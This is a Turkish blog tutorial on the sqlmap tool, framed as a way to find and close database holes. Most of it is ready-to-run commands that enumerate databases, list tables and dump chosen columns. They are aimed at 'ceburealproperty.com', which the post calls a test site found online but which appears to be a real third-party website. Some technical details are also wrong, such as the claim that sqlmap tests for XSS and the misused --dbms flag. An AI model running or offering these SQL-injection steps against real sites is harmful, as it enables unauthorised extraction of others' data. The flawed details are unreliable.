SQLmap – Veri Tabanı Açıklarınızı Kapatın
Arkadaşlar herkese merhaba. Bugün yine bir Linux aracı ile karşınızdayız. Aracımızın adı Sqlmap. Sqlmap, siteler üzerine yapılabilecek Sql İnjection ve XSS saldırıları gibi veri tabanına yönelik saldırılara karşı bir korumanız var mı? yok mu? onu belirler.
Eğer bir koruma yoksa veri tabanı verilerinin bir text dosyasına çekebilmeyi sağlar. Yani hem Sqli taraması, hem Sqli saldırısı yapımında kullanılan bir araçtır. Kullanımı gayet basittir. Biz de bugün bir test sitesi üzerinde bu aracın nasıl kullanılacağını kısa bir test sonucunda bulacağız.
Öncelikle Kali sistem kullanan arkadaşlar şanslılar bu araç otomatik olarak yüklü geliyor. Ben Kali kullanmıyorum diyen arkadaşlarımız ise. Aşağıda belirttiğimiz komutla, git üzerinden alabilirler.
git clone git://git.kali.org/packages/sqlmap.git
Bu komutu çalıştırabilmeniz için de git paketinin bilgisayarınızda yüklü olması lazım onu kurabilmeniz için de aşağıdaki komutu çalıştırabilirsiniz.
sudo apt install git
Gelelim nasıl kullanılacağına, ilk olarak sizlere kullanacağımız parametreleri tanıtmak istiyorum.
-u = Adres girdisi yapacağımız zaman kullanırız. Kullanacağımız adres, test sitesi üzerinde SQL hatası aldığımız herhangi bir link olabilir.
–dbs = Veri tabanlarını belirleyip çekebilmemize yardımcı olan komuttur.
–tables -D = Belirlenen veri tabanı tablosunun adı
–columns = Belirlediğimiz veri tabanı tablosunun, istediğimiz herhangi bir sütunu
–dump = Belirlediğimiz sütunun içindeki verileri çekmemize yarar.
Devam etmeden bir noktaya parmak basmak istiyorum. Bu aracın tanıtımı tamamen açıkları taramak ve kapatabilmek adına yapılan bir testten ibaret. Dolayısıyla aşağıda gerçekleştireceğimiz veri tabanı çekme işlemlerini sadece komut olarak vereceğim.
İnternetten bulduğumuz bir test sitesini kullanacağız. Sitenin adı “ceburealproperty.com”. İlk yapacağımız işlem veri tabanının belirlemesini yapıyoruz. Bunun için ise
sqlmap -u "http://ceburealproperty.com/show_cat_page.php?id=3" --dbs
Bu işlemden sonra yapacağımız işlem tablo adı yazıp çekme işlemi yapmak.
sqlmap -u "http://ceburealproperty.com/show_cat_page.php?id=3" --tables -D cebureal_db
Sqlmap, Python dili ile yazılmış olup ekstra bir komut kullanılmamış gördüğünüz üzere de kullanımı gayet basit derecede. İşlemi varsayılan olarak GET işlemiyle yapıyor. Peki, işlemi POST şekilde yapma olanağımız var mı?
Elbette var aşağıdaki komut olarak kullanırsanız her şey mevcut.
sqlmap -u "http://ceburealproperty.com/show_cat_page.php?id=3" --data="Post verisi" --dbms
Veri tabanını buldunuz. Tabloları belirlediniz. Ancak tüm tablolar beni ilgilendirmiyor diyorsanız,
sqlmap -u "http://ceburealproperty.com/show_cat_page.php?id=3" --dump -C kolon1,kolon2 -D database_adi -T tablo_Adi
Tüm sorguların bir kaydını almak isterseniz,
sqlmap -u "http://ceburealproperty.com/show_cat_page.php?id=3" --dbms -t /usr/share/log.txt
Genel olarak komutlar bu şekilde. Son bir noktaya değinelim ve bugünlük olayımızı tamamlayalım. “Ben her şeyi yaptım, ancak indirdiğim verileri bulamıyorum.” diyorsanız. Linux üzerinde home dizini altında .sqlmap diye bir klasör saklıdır. “CTRL + H” tuşlayarak gizli klasör ve dosyaları görebilirsiniz.
Sorularınız olursa yorum yoluyla bize iletmekten çekinmeyin. Sağ üst köşede yer alan mail aboneliği kısmından abone olabilir, en yeni yayınlarımızdan ilk olarak siz yararlanabilirsiniz. Herkese mutlu günler ve iyi çalışmalar. 🙂